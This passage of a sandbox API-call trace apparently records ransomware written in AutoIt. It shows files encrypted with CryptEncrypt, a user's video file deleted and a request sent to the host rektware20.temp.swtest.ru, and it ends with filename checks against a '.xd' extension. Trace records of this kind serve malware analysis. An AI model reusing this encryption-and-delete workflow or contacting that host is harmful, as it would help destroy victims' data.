hKey=0x164c830, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.983] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.983] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.984] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.984] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.984] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.984] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.984] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.985] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.985] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x34cb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x34d0) returned 1 [0065.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.985] CharLowerBuffW (in: lpsz="byte[13521]", cchLength=0xb | out: lpsz="byte[13521]") returned 0xb [0065.985] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.986] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.986] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.986] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.986] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x187d010*, pdwDataLen=0x130e618*=0x34cb, dwBufLen=0x34d0 | out: pbData=0x187d010*, pdwDataLen=0x130e618*=0x34d0) returned 1 [0065.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.986] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.987] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.987] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.987] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.987] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.987] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.987] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.987] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.988] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x34d0, lpOverlapped=0x0) returned 1 [0065.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.989] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.989] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.989] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.989] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.990] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.990] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.990] CryptDestroyKey (hKey=0x164c830) returned 1 [0065.990] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.990] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.990] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.990] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.990] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.990] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.990] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.990] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.990] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.991] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.991] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.991] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.991] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.991] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.991] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.991] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.991] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.991] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.991] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.992] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.992] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.992] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.992] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.992] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0065.992] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.992] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.992] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.992] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.992] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.992] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.992] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.993] CloseHandle (hObject=0x3bc) returned 1 [0065.995] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.995] CloseHandle (hObject=0x2ac) returned 1 [0065.996] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.996] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.997] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", lpFilePart=0x0) returned 0x26 [0065.997] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\r7dwq.avi")) returned 0x20 [0065.997] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0065.997] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\r7dwq.avi")) returned 1 [0065.999] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.000] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0066.000] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.000] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0066.000] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.000] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.000] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.000] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.000] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.000] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.000] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0066.001] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.001] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.001] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.002] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.002] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.002] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.002] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.003] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.003] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.004] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.004] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.004] CloseHandle (hObject=0x0) returned 0 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\sbflnMGclbwmzu60ChOe.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 